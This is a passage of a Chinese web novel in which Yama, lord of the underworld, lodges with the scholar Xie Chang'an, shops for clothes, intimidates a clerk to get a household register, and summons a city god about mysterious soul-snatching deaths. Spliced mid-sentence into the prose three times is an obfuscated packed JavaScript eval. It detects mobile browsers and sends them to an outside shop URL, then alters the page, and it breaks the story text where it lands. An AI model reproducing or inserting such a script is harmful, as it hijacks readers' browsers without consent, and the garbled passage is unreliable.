白无常赶紧捡起纸卷,上面是孟婆的笔迹:"陛下,新熬的孟婆汤缺一味忘川水,只有您知道取水口诀!" 阎王一把抢过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800931|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸卷揉碎,从牙缝里挤出一句:"这群成事不足败事有余的..." 谢长安装作没看见,转身对福伯吩咐:"去准备些点心送来,颜公子想必饿了。" 待福伯离开,谢长安才对阎王道:"颜公子家中似乎事务繁忙?" 阎王冷哼一声:"不过是一群不成器的下属,离了本...离了我就不会办事。" "能者多劳。"谢长安意味深长地说,"不过既然颜公子现在是我的客人,不如安心住下,那些琐事,暂时放一放也无妨。" 这时,福伯端着点心进来。精致的瓷碟里盛着各色糕点,其中最显眼的是一盘做成莲花状的酥点。 阎王本来还想端着架子,但闻到点心的香气,肚子不争气地叫了起来。他强作镇定地拈起一块莲花酥,咬了一口,眼睛微微一亮。 "这是宫里的手艺。"谢长安适时解释,"陛下赏赐的御厨做的,可还合颜公子口味?" 阎王细细品味着口中酥脆香甜的滋味,勉强维持着冷淡的语气:"尚可。" 白无常已经忍不住伸手去拿,被黑无常拍开。谢长安见状,将整盘点心推到阎王面前:"颜公子喜欢就好。" 享用过点心,阎王的心情明显好转。他看着正在斟茶的谢长安,忽然道:"谢大人对谁都这般周到?" "自然不是。"谢长安将茶盏推到他面前,"唯有颜公子,让我觉得...非比寻常。" 烛光下,谢长安的眉眼格外温柔,阎王一时晃神,竟忘了接话。 白无常在一旁激动地掐黑无常的手臂,被黑无常面无表情地挡开。 夜深人静,阎王终于躺在那张紫檀木榻上。虽然还是比不上地府的寒玉床,但已经舒适许多。他望着帐顶,回想着今日种种,总觉得谢长安知道些什么。 窗外月光皎洁,隐约可见一个人影站在院中。阎王认出那是谢长安,只见他指尖轻弹,一道淡淡的金光没入窗棂,房间内的安神香似乎燃得更缓了。 "多管闲事。"阎王低声嘟囔。 书房内,谢长安把玩着冥鸦落下的一根墨色羽毛,眼中金芒流转:"阎罗天子...倒是比想象中有趣。" 他铺开宣纸,笔走龙蛇,一行诗句跃然纸上:"幽冥深处客,红尘梦中人。相逢何必问前因。" 写罢,他轻轻吹干墨迹,将纸条系在窗边的风铃上。夜风吹过,风铃发出清脆的响声,带着那张纸条轻轻摇曳。 听竹轩内,阎王在睡梦中翻了个身,无意识地喃喃:"谢长安...点心..." 月光透过窗纸,悄悄洒在安神香升起的袅袅青烟上,那烟气竟在空中凝成一个淡淡的守护符印,缓缓旋转着,散发出宁静祥和的气息。 而远在幽冥的地府中,判官崔珏看着水镜中显示的景象,捋须微笑:"陛下在人间,似乎过得不错。" 牛头马面挤在旁边张望,啧啧称奇:"原来阎君大人也会笑啊!" 唯有孟婆看着水镜中谢长安的身影,若有所思:"这位状元郎,怕是不简单..." 5. 凡间俗物?真香! 阎王陛下现在很忧郁。 非常、非常忧郁。 原因无他,这人间界的床,简直是对他尊贵腰椎的酷刑!就算换上了谢长安那什么御赐的紫檀木榻,也依旧硬得能让他梦见自己在刀山地狱加班。 “本君的腰……嘶……”他扶着腰,以一种极其扭曲的姿势从榻上爬起来,脸色黑得堪比锅底,“早知如此,当初就该让帝君把那张寒玉床一并踹下来。” 白无常憋着笑,小心翼翼递上温水:“公子,忍忍,忍忍啊!好歹比昨天那硬板床强点,您就当……体验民间疾苦?” 黑无常默默递过热毛巾,言简意赅:“适应。” 那表情分明在说:陛下,您就认命吧。 只有清粥小菜!连片肉都没有!用过依旧清淡得让他想掀桌的早膳,谢长安早已人去朝空。阎王瘫在院中唯一的躺椅上,晒着这毫无灵力、纯粹只是“亮”的太阳,感觉自己像条被晒干的咸鱼,还是忘川里捞出来的那种。 “无聊……”他第N次叹气,“地府那群蠢货虽然烦人,但至少公文管够,还能时不时吓唬几个恶鬼解闷……” 正当他琢磨着是不是该动用那点可怜的言灵之力,诅咒院子里那棵看着特别碍眼的歪脖子树自动劈叉时,白无常像只偷到灯油的小老鼠,滋溜一下溜了回来,脸上闪着八卦的金光。 “公子!特大消息!”他压低声音,手舞足蹈,“谢大人出门前吩咐啦,说您要是闲着,可以去京城最好的‘云锦阁’做几身新衣裳,全部——记他账上!” 阎王掀了掀眼皮,满脸写着“凡夫俗子的审美也配玷污本君圣体?”。 “哎呀我的好公子!”白无常急得直跺脚,“咱们总不能一直穿着这身‘逃难富商’限定皮肤吧?入乡随俗!再说了,那云锦阁可是京城情报交流中心!说不定能听到什么了不得的小道消息呢!” 最后一句精准戳中了阎王陛下那点隐秘的好奇心。他勉为其难地站起身,拍了拍根本不存在的灰尘,用一种“本君这是去微服私访体察民情”的语气哼道:“也罢,便去瞧瞧这人间界的织造工艺,落后我幽冥鬼工几何。” 于是,阎王陛下带着他的左右护法,浩浩荡荡地出门了。 京城街道热闹得让阎王头疼。叫卖声、车马声、小孩哭闹声……混杂在一起,冲击着他习惯了地府死寂的耳膜。他第N次后悔没把隔音结界列为必修神术。 走到一处相对安静的街角,阎王猛地停下,死亡射线般的目光射向旁边屋檐下的阴影。 “滚出来。”声音不高,但自带“不滚就让你真滚去投胎”的buff。 阴影处一阵扭曲,日游神讪讪地显形,旁边是努力把自己缩成一团、假装不存在的夜游神。 “参、参见阎君!”日游神赶紧行礼,顺便踹了夜游神一脚。 夜游神不情不愿地拱拱手,小声bb:“我就说会被发现吧……” “尔等不在辖区巡逻,尾随本君意欲何为?”阎王抱臂,眼神危险。 日游神脑门冒汗,急中生智:“卑职……卑职是担心陛下初来乍到,人生地不熟,特来……特来充当隐形导游!对,导游!” 夜游神小声拆台:“得了吧,就是想看阎君逛成衣店会不会挑粉色……” “你闭嘴!”日游神恨不得把他的嘴缝上,转头对阎王挤出谄媚的笑,“陛下这是要去云锦阁?那家店确实不错!不过……”他压低声音,神色正经了些,“最近京城,特别是读书人扎堆的地方,不太平。陛下若听到什么风声,务必小心。” “不太平?”阎王挑眉,来了点兴趣。 “是,”日游神凑近些,“青云书院那边,怨气重得很,有生魂被强行剥离的痕迹,但手法干净利落,绝非咱们地府的风格。卑职查了几天,屁都没查出来,正愁怎么跟您汇报呢……” 非地府手段拘魂?阎王眯起了眼。这倒是有点意思。他正要细问,前面带路的小厮回头催了。 “知道了。”阎王对日游神微微颔首,“继续盯着,有情况,用冥鸦传信。” 俩游神如蒙大赦,“嗖”一下没影了。 到了云锦阁,掌柜是个有眼力见的,见阎王虽然穿着普通,但那通身的气派和“尔等皆是蝼蚁”的眼神,绝对非富即贵,立刻亲自迎了上来,笑容灿烂得能闪瞎鬼眼。 阎王对满屋子花里胡哨的布料兴趣缺缺,随手点了两匹最沉的玄色。倒是白无常,如同掉进米缸的老鼠,兴奋得两眼放光。 “公子您看这匹月白的!多衬您气质!” “公子您摸摸这匹绛紫的!低调奢华有内涵!” “公子……” 阎王被吵得头疼,一个眼神甩过去:“再聒噪,你就留下来当镇店之宝。” 白无常瞬间噤声,但没过一会儿,又拉着黑无常开始了时装秀。 “老黑老黑!快看这身书生袍!我穿上是不是特别温文尔雅?”白无常套上一件月白长衫,转着圈,感觉自己能立刻去考个状元。 黑无常面无表情地评价:“宽袍大袖,影响拔刀速度,易脏。” 白无常:“……你能不能有点审美!” 他又拿起一件墨蓝色窄袖劲装往黑无常身上比划:“这个!这个绝对适合你!冷酷杀手范儿!” 黑无常身体僵硬得像块石头,耳根却以肉眼可见的速度变红,任由白无常把他当成人形模特摆弄。 掌柜在一旁看得啧啧称奇,这主仆三人,一个比一个画风清奇。 最终,阎王陛下秉持着“黑色永恒”的时尚法则,订了两套除了暗纹几乎看不出区别的玄色锦袍。白无常和黑无常则各自欢天喜地地抱了好几套符合他们“人设”的新衣服。 结账时,掌柜一边打包,一边忍不住搭话:“几位客官气度不凡,想必也是文雅之士?说起来,青云书院的张院士前几日也来小店订了新衣呢。” “张院士?”阎王想起日游神的话,耳朵悄悄竖起。 “是啊,”掌柜一边熟练地系着绸带,一边说,“张昀张院士,学问好,人品也好,可惜啊……”他压低了声音,带着点神秘和惋惜,“听说前几日在书院书房里,突发急症,人就那么没了!真是天妒英才啊!” 张昀?突发急症?时间还这么巧?阎王和黑白无常交换了一个“你懂的”眼神。 傍晚回到听竹轩,白无常就迫不及待地怂恿阎王试新衣。阎王被他烦得不行,勉强换上了其中一套。 不得不说,人靠衣装。这量身剪裁的玄色锦袍,将阎王挺拔清瘦的身形完美勾勒出来,暗金色的云纹在烛光下若隐若流,衬得他原本就俊美却总带着几分慵懒厌世的脸,多了几分人间烟火的华贵与真实,连那股子“我想摆烂”的气质都被压下去不少。 “哇!公子!您也太好看了吧!”白无常围着阎王转圈,眼睛亮晶晶的,“这要是让地府那帮女鬼看见了,还不得把奈何桥给挤塌了!” 黑无常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800932|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也默默点头,眼中写着“陛下威武”。 就在这时,谢长安下朝回来了。他径直走到听竹轩,一进院门,就看到被黑白无常围在中间、换上新衣的阎王。 夕阳的余晖仿佛格外偏爱他,在他周身镀上一层柔和的金边。那身玄衣不再仅仅是地府森严的象征,反而与他此刻略带别扭的神情奇异地融合,呈现出一种惊心动魄的……生动。 谢长安的脚步几不可查地顿了一下,目光在阎王身上流转片刻,才缓步走近,唇角漾开温柔的笑意:“颜公子这身衣裳,很是好看。”他的声音比平时更低沉柔和几分。 阎王正被白无常夸得浑身不自在,见谢长安也来凑热闹,更是别扭,扯了扯紧扣的领口,嘟囔:“凡间衣物,束手束脚,行动不便。” 谢长安眼底笑意更深,他忽然上前一步,伸出手,指尖轻轻拂过阎王的衣领,细心地将那并不存在的细微褶皱抚平。 “领口这里,稍稍整理一下更好。”他温声说着,气息似有若无地拂过阎王的耳廓。 阎王整个人瞬间僵住! 谢长安的指尖带着微凉的温度,触碰在颈侧敏感的皮肤上,却像点着了一簇火苗,唰地一下从耳根烧到了脸颊!他甚至能闻到谢长安身上那股清冽的墨香,混合着淡淡的朝露气息。 他猛地往后一跳,像只被踩了尾巴的猫,瞪着谢长安,话都说不利索了:“你、你干什么!谁准你动手动脚了!” 看着他炸毛的样子,谢长安从善如流地收回手,表情无辜又坦然:“是在下唐突了,只是见不得颜公子衣冠有瑕。”那眼神分明在说“我只是好心”。 阎王气得想咬人,又找不到理由,只能气鼓鼓地扭过头,感觉脸上热度半天退不下去。 谢长安欣赏够了他这副羞恼的模样,才慢悠悠地提起正事:“明日我需去户部一趟,颜公子与二位若想在京城长住,还需办理一份户籍凭证。若三位不介意,可与我同去,也好有个照应。” “户籍?”阎王皱眉,他,幽冥之主,十殿阎罗之首,居然要在人间上户口?!这像话吗! 白无常一看自家公子要坏事,赶紧抢答:“多谢大人!太好了!我们正为这事发愁呢!有您帮忙真是太好了!”边说边疯狂给阎王使眼色。 阎王瞥了白无常那挤眉弄眼的蠢样一眼,明白这是目前必要的步骤,只得压下心中那点不情愿,对着谢长安勉强点了点头:“……有劳。” 谢长安看着他这副明明不爽却又不得不低头的小模样,眼底笑意几乎要满溢出来。“那明日辰时,我们一同出发。”他说完,对黑白无常点头示意,这才施施然离开。 他一走,阎王立刻松了口气,感觉脸颊还在发烫。 白无常立刻凑上来,贱兮兮地笑:“公子~谢大人对您可真是‘体贴入微’啊~连衣领都要亲手帮您整理~” “白!无!常!”阎王恼羞成怒,耳尖红得滴血,“你是不是想去扫三百年的茅厕?!” 是夜,阎王躺在依旧不算舒适的紫檀木榻上,翻来覆去。 脑子里一会儿是日游神说的“非地府手段拘魂”,一会儿是成衣铺掌柜惋惜的“张院士突发急症”,最后定格在谢长安为他整理衣领时,那近在咫尺的、含着笑意的温润眉眼,还有指尖那微凉的触感…… “烦死了!”他把脸埋进枕头里。 这人间,似乎比他想象中还要复杂有趣。而那个谢长安难道已经……啊……干嘛又想起他啊 6. □□风波,查你三代 翌日,用过早膳,谢长安果然如约前来,要带他们去户部办理户籍凭证。 “今日天气甚好,正适合出门。”谢长安今日穿了身雨过天青色的常服,更衬得面如冠玉,他目光扫过三人,在阎王那身依旧玄色但明显是新做的衣袍上停留一瞬,唇角微扬。 阎王懒洋洋地“嗯”了一声,算是回应。想到要去那规矩繁琐的人间衙门,他就提不起劲。白无常倒是兴致勃勃,连连保证会好好表现,绝不添乱。黑无常一如既往地沉默,像一道可靠的影子跟在阎王身后。 马车轱辘轱辘行驶在京城街道上。阎王撩开车帘一角,看着外面熙熙攘攘的人群,眉头微蹙。这人间,真是吵闹得紧。 “颜公子似乎不太喜欢喧闹?”谢长安的声音温和地响起。 阎王放下车帘,瞥了他一眼:“比不上地……比不上家中清静。”他差点说漏嘴,及时刹住车。 谢长安却像是没察觉,笑意加深了些:“人间烟火气,久了倒也别有一番滋味。譬如这街角的炊饼,初觉平常,细品之下,麦香淳朴,亦是难得。” 阎王哼了一声,不置可否。心里却嘀咕,这谢长安,说话总是拐弯抹角,听着像是闲聊,又总觉得意有所指。 到了户部衙门,果然气派森严。朱门高墙,石狮肃立,官吏们行色匆匆,脸上大多没什么表情。谢长安显然对此地颇为熟悉,与相熟的官员寒暄几句,便有人引着他们前往负责户籍的偏厅。 偏厅内,一位留着两撇小胡子、眼神精明的官员正在喝茶,正是王主事。见到谢长安,他放下茶杯,起身拱手,态度还算客气:“谢状元,今日怎么得空光临敝处?” “王主事。”谢长安回礼,温声道,“带几位亲友来办理户籍凭证,有劳了。”他将阎王三人简单介绍为“远道而来的表亲”。 王主事目光在阎王三人身上转了一圈,尤其在气质独特、神色慵懒中带着疏离的阎王身上多停留了片刻,脸上堆起职业化的笑容:“好说,好说,谢状元的亲戚,下官自当行个方便。请坐,我们按流程来。” 初始的流程还算顺利,白无常口齿伶俐,将事先编好的“落难行商投亲”故事说得滴水不漏。王主事一边记录,一边点头。 然而,就在询问到“祖上三代名讳、职业”时,门外匆匆进来一个小吏,附在王主事耳边低语了几句。王主事脸色微变,对谢长安露出歉意的表情:“谢状元,实在抱歉,尚书大人有急事相召,点名要您也过去一趟,说是与明日经筵讲学有关……” 谢长安闻言,眉头几不可查地蹙了一下,随即恢复温润:“既是尚书大人相召,自当前往。”他看向阎王三人,略带歉意,“颜公子,你们在此稍候,我去去就回。” 阎王摆了摆手,示意他自便。谢长安这才跟着那小吏匆匆离去。 偏厅内只剩下阎王三人和王主事。谢长安一走,王主事脸上的热情仿佛被风吹散的薄雾,瞬间淡了下去。他重新坐下,端起官腔,手指敲着桌面: “我们继续。方才说到祖上三代……颜公子,令曾祖、祖父、父亲,具体名讳为何?从事何业?可有功名在身?按律,需记录在案,以备核查。”他的目光带着审视,刻意加重了“按律”二字。 白无常心里叫苦,面上还得赔笑:“回大人,年代久远,实在是……记不太清了。都是普通百姓,耕读传家……” “记不清了?”王主事音调扬起,带着明显的不信和刁难,“连自家祖宗都记不清,这来历未免太过含糊。若是细作或逃犯混入京城,本官可担不起这个责任。”他目光转向一直没说话的阎王,语气带着施压,“颜公子,您看这……” 阎王原本漫不经心的神色冷了下来。他活了无尽岁月,执掌生死轮回,何曾被人如此盘问“祖宗”?这小小主事,分明是看谢长安不在,故意刁难。 他缓缓抬起眼,那双半眯的凤眼彻底睁开,眸光幽深,如同蕴藏着万年寒冰,直直看向王主事。 王主事被他看得心里莫名一慌,强自镇定道:“颜公子,并非本官有意为难,实在是规矩如此。若说不出个所以然,这户籍,怕是办不了。” “规矩?”阎王轻轻重复了一遍,唇角勾起一抹极淡、却冷得刺骨的笑意,“好,那就按你的规矩来。”他身体微微前倾,目光锁住王主事,声音不高,却带着一种奇异的、直抵灵魂深处的力量,“你口口声声要查他人祖宗根底,却不知……王主事你自己,祖上三代,又是否经得起查?” 王主事被他问得一愣,随即恼火:“你!你这是何意?本官身家清白,岂容你污蔑!” “清白?”阎王像是听到了什么笑话,轻轻嗤笑一声,“王德贵,曾祖,屠夫。‘一刀准’的名声倒是响亮,可惜心术不正,秤砣下藏磁石,克扣斤两,晚年恶疾缠身,双臂溃烂而亡,这业报,可还‘清白’?” 王主事脸上的血色“唰”地褪尽,眼睛瞪得滚圆,如同见了鬼! 阎王却不给他喘息的机会,语速平缓,却字字诛心: “王有才,祖父,县衙书吏。笔墨尚可,贪墨成性,连三百文赈灾钱都纳入囊中。晚年瘫痪在床,子嗣厌弃,孤苦伶仃,这结局,可还‘清白’?” “王守义,父,秀才。为人还算忠厚,曾资助落魄书生,积了些许阴德,可惜福薄。” 他的目光如同最锋利的冰锥,刺向浑身筛糠般发抖的王主事:“至于你,王主事……八岁爬树摔断左臂,十二岁偷窥李寡妇沐浴摔下墙头……为官之后,‘勤勉’倒是勤勉,去年河堤修缮,那八十两银子的‘茶水钱’,喝得可还痛快?需不需要本……本公子帮你算算,你如今功德簿上,还欠着多少业债?油锅地狱十五年的刑期,是打算提前去体验一番?” “噗通!” 王主事再也支撑不住,直接从椅子上滑落在地,面无人色,冷汗如雨,指着阎王,嘴唇哆嗦得如同秋风中的落叶:“你……你到底是……是人是鬼?!”这些他深埋心底、甚至自己都模糊了的家族秘辛和自身污点,被对方如同翻阅自家账簿般随意道出,连具体数额和地狱刑期都一清二楚!这恐怖的洞察力,让他魂飞魄散! 白无常在一旁看得目瞪口呆,随即拼命憋笑,肩膀一耸一耸。黑无常嘴角也几不可查地抽动了一下。 阎王居高临下地看着瘫软在地的王主事,语气恢复了之前的慵懒,却带着不容置疑的威严:“现在,这户籍,能办了吗?” “能!能!马上办!立刻办!”王主事几乎是手脚并用地爬起来,也顾不上官仪,扑到桌案前,颤抖着手抓起笔,以最快的速度填写文书、盖上大印,双手捧着,恭恭敬敬地递到阎王面前,声音带着哭腔,“办……办好了!颜公子!您……您大人有大量,高抬贵手!今日之事,千万……千万莫要对外人言啊!” 阎王接过那张轻飘飘却分量不轻的户籍凭证,看都没看王主事一眼,随手递给白无常,淡淡道:“走吧。” 三人走出偏厅,离开户部衙门。刚踏出大门,就看到谢长安早已等候在马车旁。而那位王主事,竟也亦步亦趋地跟了出来,对着阎王的背影点头哈腰,直到他们上了马车,还站在原地擦着冷汗。 谢长安的目光在王主事那失魂落魄的背影和阎王波澜不惊的脸上转了一圈,眸中闪过一丝了然的笑意,却什么也没问,只温声道:“事情办妥了?上车吧。” 马车缓缓启动。车厢内,白无常终于忍不住,噗嗤一声笑了出来,绘声绘色、添油加醋地将方才阎王如何“大显神威”、把王主事吓得屁滚尿流的过程说了一遍。 “……哈哈哈!公子您没看见那王主事的脸色,白的跟刚从面缸里捞出来似的!让他刁难我们!活该!”白无常笑得前仰后合。 谢长安听着,唇角始终噙着一抹温和的笑意,目光偶尔掠过对面闭目养神、仿佛事不关己的阎王,眼底深处闪过一丝难以察觉的探究和……愉悦? “原来如此。”待白无常说完,谢长安才缓缓开口,语气带着几分恰到好处的惊叹,“颜公子竟有这等‘洞察人心’的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800933|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,谢某佩服。”他这话说得意味深长,既像是夸赞,又像是试探。 阎王眼皮都没抬,懒洋洋地道:“一点家传相面之术,不足挂齿。”他顿了顿,终于睁开眼,看向谢长安,凤眸中带着一丝审视,“倒是谢大人,似乎对这等‘非常’手段,并不惊讶?” 谢长安迎着他的目光,坦然一笑,笑容温润如玉:“世间之大,无奇不有。谢某虽读的是圣贤书,却也相信,天地间自有浩然正气,亦有一些……玄妙难言的存在。颜公子非常人,有些非常之能,亦是理所当然。”他这话答得滴水不漏,既未承认知晓什么,又表达了一种开放的认知态度,让阎王一时摸不清他到底是真不知情,还是城府太深。 阎王盯着他看了片刻,没看出什么破绽,只得哼了一声,重新闭上眼睛。心里却更加确定,这谢长安,绝对不简单!他是不是已经恢复了文曲星的能力?或者至少,察觉到了什么? 回到谢府,晚膳时分。看着满桌菜肴,再想想今日总算到手,虽然过程不太光彩的户籍凭证,白无常心情大好,再次对谢长安表达感激之情:“谢大人,真是太感谢您了!要不是您,我们这身份还不知道要折腾到什么时候呢!” 谢长安执箸为阎王夹了一块鲜嫩的鱼肉,微笑道:“小白客气了,举手之劳。况且,能得三位……相助,是谢某之幸。”他再次用了“相助”这个词。 阎王慢条斯理地喝着汤,闻言,放下汤匙,状似随意地道:“谢大人几次三番相助,我们虽感激,却也不能一直白吃白住。不知谢大人府上,可有什么需要我们‘效劳’之处?也好让我们略尽心意,偿还一二。”他刻意加重了“效劳”和“偿还”二字,目光紧紧盯着谢长安,想看他如何反应。 谢长安执壶的手微微一顿,抬眸看向阎王,眼中笑意加深,像是终于等到了这句话。他放下酒壶,语气依旧温和,却带着一丝不容错辨的狡黠:“颜公子如此说,倒让谢某想起一事。近日京城确有一桩悬案,令谢某颇为困扰,恐非寻常衙役所能侦办。若是三位肯出手‘相助’,之前乃至日后三位在府中的一切用度,便权当是谢某预付的‘酬劳’,如何?” 白无常心里咯噔一下,暗道不好,公子这试探,怎么把自己给套进去了?他刚想打哈哈圆过去:“哎呀,谢大人,我们就是普通……” “哦?”阎王却打断了白无常,凤眼微挑,看着谢长安,语气带着几分玩味和不易察觉的警惕,“不知是何等悬案,连谢大人都觉得棘手?莫非……又与那‘非比寻常’有关?”他想起了日游神提到的青云书院张院士之事。 谢长安眸光微动,心中暗赞阎王的敏锐。他点了点头,神色略显凝重:“正是。青云书院张院士暴毙一案,现场门窗反锁,无外伤中毒,但谢某在其书房中,确实感应到一丝极其隐晦却阴寒刺骨的残留气息,此等手法,绝非寻常。谢某思来想去,或许唯有颜公子这般有‘非常之能’者,方能窥破其中玄机。” 他看向阎王,眼神诚恳而期待,甚至还带着一丝恰到好处的无奈:“若是三位觉得为难,谢某也不敢强求。只是这吃穿用度嘛……”他故意拖长了语调,目光扫过桌上的菜肴和三人身上的新衣,其意不言自明。 白无常:“……”完了,金主爸爸这是要“讨债”了! 黑无常默默握紧了筷子。 阎王嘴角抽搐了一下,看着谢长安那副“我很为难但你们看着办”的温良模样,一口气堵在胸口。这狡猾的狐狸!分明是早就挖好了坑等着他跳!先用衣食住行把人稳住,再抛出案件,最后以“还债”为由,逼他就范!偏偏他还不能直接拒绝,毕竟……吃人嘴软,拿人手短! 他狠狠瞪了谢长安一眼,对方却回以一个无辜又温和的笑容。 “……哼!”阎王憋了半天,终于从牙缝里挤出一句,“说说具体情况!” 谢长安眼底的笑意瞬间漾开,如同春风吹皱一池春水。他知道,这位嘴硬心软的阎王爷,终究是应下了。地府人间联合破案小组,即将正式上线! 7. KPI考核?地府也要开始卷了吗? 翌日,用过早膳,谢长安便派人来请,说是已在书房备好茶点,有要事相商。 阎王主仆三人踏入书房时,谢长安正站在一张铺开的长卷前,眉宇间带着些许疲惫,但眼神依旧清亮。长卷上密密麻麻写满了字,还画着简易的方位图。 “颜公子,二位,请坐。”谢长安招呼他们坐下,亲自执壶斟茶,动作优雅从容,“昨日多谢三位应允相助。谢某将目前掌握的线索梳理了一番,还请三位过目。” 他指着长卷,开始详细说明:“青云书院张院士暴毙案,已是京城近期第四起类似的‘猝死’事件。前三位死者,一位是城西告老还乡的员外,一位是南城颇负盛名的琴师,还有一位是国子监的年轻博士。死亡时间皆在深夜,现场皆为密室或无明显侵入痕迹,尸体无外伤,银针验毒亦无结果。官府最初都定性为‘猝死’。” “四起?”白无常惊讶地插嘴,“这么频繁?还都是看起来没啥关联的人?” 谢长安点点头,神色凝重:“正是蹊跷之处。表面看毫无关联,但谢某仔细查阅卷宗并亲自勘查过其中两处现场后,发现了一个微妙的共同点。”他修长的手指指向长卷上的几处标记,“每一位死者的书案或随身物品上,都发现了极其微量、几乎难以察觉的……特殊墨迹。” “墨迹?”阎王端起茶杯,轻轻吹了吹浮沫,凤眼微眯。 “是。”谢长安肯定道,“颜色幽深,近乎纯黑,但细看又仿佛内里蕴着一点不祥的暗红。质地略粘稠,触之阴寒刺骨,绝非寻常松烟墨或油烟墨。而且……”他顿了顿,看向阎王,“其散发的气息,与谢某之前描述的,那令人神魂不安的阴寒吸力,同出一源。” 阎王放下茶杯,指尖在桌面上轻轻敲击:“连续四起,手法类似,都用了这种特殊的墨……看来不是偶然,而是有预谋的连环作案。目标似乎偏向于……读书人?或者,身上带有‘文气’之人?”他若有所思地瞥了谢长安一眼。 谢长安眸光微动,迎上他的视线:“颜公子明察。谢某亦有此怀疑。只是这墨迹来源、凶手动机、以及如何凭此墨杀人于无形,至今毫无头绪。京城之内,竟有如此诡异之事接连发生,实在令人忧心。” 阎王低声道:“这是在人未亡时就强行将魂魄从□□里面勾走了,手法及其残忍,绝非地府正规章程”,一双手指节发白,显示着主人的愤怒。 黑无常突然开口:“既涉及魂魄异常,当地城隍,理应知晓。” 白无常一拍大腿:“对啊!怎么把那老小子给忘了!公子,咱们把本地城隍叫来问问?他要是敢说不知道,小的一定帮您把他那几根胡子都薅下来!” 阎王颔首,这确实是目前最直接的途径。他看向谢长安:“谢大人,借你书房一角一用。” 谢长安从善如流:“颜公子请便。”他眼底带着几分好奇,显然对“召唤城隍”这等玄异之事颇感兴趣。 阎王走到书房角落相对空旷处,示意白无常准备。白无常立刻收起嬉笑,上前一步,脚踏某种玄奥步法,口中念念有词,指尖凝聚起一丝微弱的幽冥之力,凌空划出一道简单的召神符。黑无常则默默移至门口,以防外人打扰。 片刻后,书房角落阴影处,空气一阵扭曲波动,一个穿着大红官袍、头戴乌纱帽、面容富态却带着愁苦之色的中年男子,身形由淡转实,踉跄着显现出来。正是本地的城隍爷。 城隍爷一现身,先是有些茫然地四顾,待看清角落里抱着臂、一脸“本君很不爽”的阎王,以及他身后一黑一白、气息纯正的地府勾魂使者时,富态的脸瞬间煞白,瞳孔地震,“噗通”一声就跪下了,声音抖得不成样子: “卑……卑职参……参见阎君大人!不知阎君大人法驾亲临……卑职有失远迎,罪该万死!罪该万死啊!”他磕头如捣蒜,乌纱帽都歪了。 阎王不耐地挥挥手:“起来说话。本君问你,京城近期接连四人离奇暴毙,魂魄异常消失,你可知情?” 城隍爷战战兢兢地爬起来,苦着一张脸,简直快要哭出来:“回……回阎君,卑职知情!卑职早就察觉不对劲了!那四个生魂应该是……是被什么东西强行给掳走了!” “既知情,为何不报?不查?”阎王语气冷了几分。 这一问,仿佛戳中了城隍爷的痛处,他再也忍不住,竟当场嚎啕大哭起来。 这一下,连见多识广的谢长安都露出了错愕的神情。黑白无常更是面面相觑,没想到同僚在人间混得如此……凄惨。 城隍爷抱着阎王的腿,哭得那叫一个情真意切,涕泗横流,完全没了半点神祇的威严:“大人!您久居森罗宝殿,高高在上,有所不知啊!如今这人间,世风日下,信仰凋零,香火难继!我们这些地方小神,日子过得紧巴巴,神力增长缓慢,甚至还在倒退!上面天庭考核又严苛无比,地府也跟着卷起来,年年都有KPI压下来啊!” 他如泣如诉地掰着手指头数: “要保证辖区风调雨顺,不能有天灾人祸!KPI!” “要保证人口稳步增长,不能有大规模瘟疫战乱!KPI!” “要保证阴阳秩序井然,治安良好,恶鬼闹事率必须低于百分之零点五!KPI!” “最重要的,是辖区内的生魂死魄,必须按时按量、准确无误地引渡到地府,一个都不能少,一个都不能错!少一个,扣分!错一个,罚俸!影响年终评优啊!” 他指着虚空,悲愤交加:“那不知道哪儿来的杀千刀的邪祟!狡猾得很!修为不弱,还特别会藏!借此地复杂的人气和水脉掩盖自身气息,卑职几次派阴兵下去摸排,都像是拳头打在棉花上,连个屁都没捞着!它下手的目标又刁钻,专挑那些阳寿将尽、或是命格特殊、不易被地府立刻察觉有异的生魂下手!这几个月下来,卑职辖区里已经莫名其妙少了四个了!今年的KPI……全完了啊!别说年终奖金泡汤,怕是连‘合格’都评不上,要是得个‘差评’……卑职这辛辛苦苦熬了几百年才得来的城隍神位,怕是都保不住了啊!呜呜呜……” 阎王听着他声泪俱下地诉说基层神官的艰辛、考核的压力、KPI的残酷,脸色越来越黑,嘴角抽搐。他忍不住低声嘀咕:“帝君什么时候也开始搞这套了?本君在位时……” 